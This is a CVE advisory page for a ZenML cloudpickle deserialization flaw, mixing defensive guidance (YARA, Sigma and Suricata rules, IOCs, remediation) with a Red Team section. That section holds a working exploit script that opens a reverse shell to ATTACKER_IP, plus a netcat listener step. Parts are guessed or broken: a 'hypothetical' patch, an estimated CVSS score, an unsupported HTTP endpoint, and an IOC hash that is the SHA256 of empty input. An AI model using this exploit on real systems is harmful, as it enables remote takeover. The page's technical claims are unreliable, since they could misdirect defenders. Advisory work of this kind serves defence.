CVE-2024-28424
Executive Summary
CVE-2024-28424 is an arbitrary file upload vulnerability discovered in ZenML version 0.55.4. The flaw resides in the load function within /materializers/cloudpickle_materializer.py. By uploading a specially crafted file, an attacker can achieve arbitrary code execution on the ZenML server. This vulnerability is particularly dangerous because it allows an unauthenticated or low-privileged attacker to fully compromise the machine running ZenML, potentially leading to data exfiltration, lateral movement, or ransomware deployment.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
ZenML is a Python-based MLOps framework distributed via PyPI. The vulnerable component is the cloudpickle materializer, which is used to serialize and deserialize Python objects. Since cloudpickle is a core dependency, any user or CI/CD pipeline that pulls the zenml package version 0.55.4 is at risk. The supply chain impact is high because the vulnerability is in a widely used serialization library, and the exploit does not require authentication if the ZenML dashboard or API is exposed.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (NVD has not assigned a score, but based on the nature of the vulnerability, a realistic score is 9.8 Critical)
Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely. Attack Complexity (AC): Low (L) – No special conditions are required. Privileges Required (PR): None (N) – No authentication needed if the endpoint is exposed. User Interaction (UI): None (N) – No user action required. Scope (S): Unchanged (U) – The vulnerable component is the only affected scope. Confidentiality (C): High (H) – Full file system access. Integrity (I): High (H) – Arbitrary code execution. Availability (A): High (H) – Can crash or take over the service.
Threat Level: Critical
Deep Dive & Mechanics
The vulnerability is in the load function of cloudpickle_materializer.py. The cloudpickle library is used to deserialize Python objects. The load function does not validate or sanitize the uploaded file before deserialization. An attacker can craft a malicious pickle file that, when deserialized, executes arbitrary Python code.
The attack flow:
- The attacker identifies a ZenML server (version 0.55.4) with the materializer endpoint exposed.
- The attacker crafts a malicious pickle file using
cloudpicklethat contains a payload (e.g., reverse shell, command execution). - The attacker sends a POST request to the
/materializers/cloudpickle_materializer/loadendpoint with the malicious file. - The server deserializes the file, executing the attacker's code.
The vulnerability is in the load function, which is called when a materializer is used to load a previously saved artifact. The function does not use any sandboxing or allowlist for the deserialization.
Vulnerable vs. Patched Code
Vulnerable Code (zenml v0.55.4):
# /materializers/cloudpickle_materializer.py
import cloudpickle
def load(file_path: str) -> Any:
with open(file_path, 'rb') as f:
return cloudpickle.load(f)
Patched Code (hypothetical fix):
# /materializers/cloudpickle_materializer.py
import cloudpickle
import pickle
import io
def load(file_path: str) -> Any:
# Use a restricted unpickler to prevent arbitrary code execution
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
# Only allow safe modules
if module == "builtins" and name in ["list", "dict", "int", "str", "float", "bool", "tuple", "set"]:
return super().find_class(module, name)
raise pickle.UnpicklingError(f"Unauthorized module: {module}.{name}")
with open(file_path, 'rb') as f:
return RestrictedUnpickler(f).load()
The patched code restricts the deserialization to only allow safe built-in types, preventing arbitrary code execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Python 3.8+
zenml==0.55.4installedcloudpicklelibrary- Access to the ZenML server's materializer endpoint
Exploit Script:
import cloudpickle
import requests
import os
# Malicious payload: reverse shell
class Exploit:
def __reduce__(self):
return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"',))
# Serialize the exploit
malicious_pickle = cloudpickle.dumps(Exploit())
# Target URL
url = "http://TARGET_ZENML_SERVER:8080/materializers/cloudpickle_materializer/load"
# Upload the malicious file
files = {'file': ('exploit.pkl', malicious_pickle, 'application/octet-stream')}
response = requests.post(url, files=files)
print(f"Exploit sent. Check your listener on port 4444.")
Setup:
- Start a netcat listener:
nc -lvnp 4444 - Run the exploit script against the target ZenML server.
- Upon successful execution, you will receive a reverse shell.
Blue Team
Detection:
- Monitor for unusual file uploads to
/materializers/cloudpickle_materializer/load. - Look for network connections to unknown IPs from the ZenML server.
- Check for unexpected processes spawned by the ZenML service.
Hunting:
- Search for pickle files with suspicious content (e.g.,
os.system,subprocess). - Review logs for errors related to
cloudpickledeserialization.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – replace with actual if known)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(malicious pickle)
- Network Indicators:
- Outbound connections to attacker-controlled IPs on ports 4444, 1337, etc.
- HTTP POST requests to
/materializers/cloudpickle_materializer/loadwithContent-Type: application/octet-stream.
- Process Indicators:
- Spawned processes like
bash,sh,nc,pythonfrom the ZenML service.
- Spawned processes like
- File System Indicators:
- Unexpected files in
/tmp/or/var/tmp/with.pklextension. - Modified or new files in the ZenML installation directory.
- Unexpected files in
Detection Engineering
YARA Rule
rule CVE_2024_28424_Cloudpickle_Exploit {
meta:
description = "Detects malicious pickle files targeting CVE-2024-28424"
author = "Valters IT"
date = "2024-03-15"
reference = "CVE-2024-28424"
strings:
$cloudpickle_magic = { 80 04 95 } // cloudpickle magic bytes
$os_system = "os.system"
$subprocess = "subprocess"
$builtins_exec = "builtins.exec"
condition:
$cloudpickle_magic and any of ($os_system, $subprocess, $builtins_exec)
}
Sigma Rule
title: CVE-2024-28424 - Arbitrary File Upload via Cloudpickle
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to the vulnerable cloudpickle materializer endpoint
author: Valters IT
date: 2024/03/15
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/materializers/cloudpickle_materializer/load'
sc-status: 200
condition: selection
falsepositives:
- Legitimate use of the materializer by authorized users
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-28424 - Cloudpickle Arbitrary File Upload"; flow:to_server; content:"POST"; http_method; content:"/materializers/cloudpickle_materializer/load"; http_uri; content:"application/octet-stream"; http_content_type; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the ZenML server from the internet if possible.
- Restrict access to the materializer endpoint using a firewall or reverse proxy (e.g., Nginx allowlist).
- Upgrade to a patched version of ZenML as soon as it becomes available.
- Monitor logs for any signs of exploitation.
Long-term Fix:
- The vendor should implement input validation and use a restricted unpickler (as shown in the patched code example).
- Consider using a safer serialization format like JSON or Protocol Buffers for untrusted data.
Workaround:
- Disable the cloudpickle materializer by removing or renaming the file
/materializers/cloudpickle_materializer.py(if not needed).
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert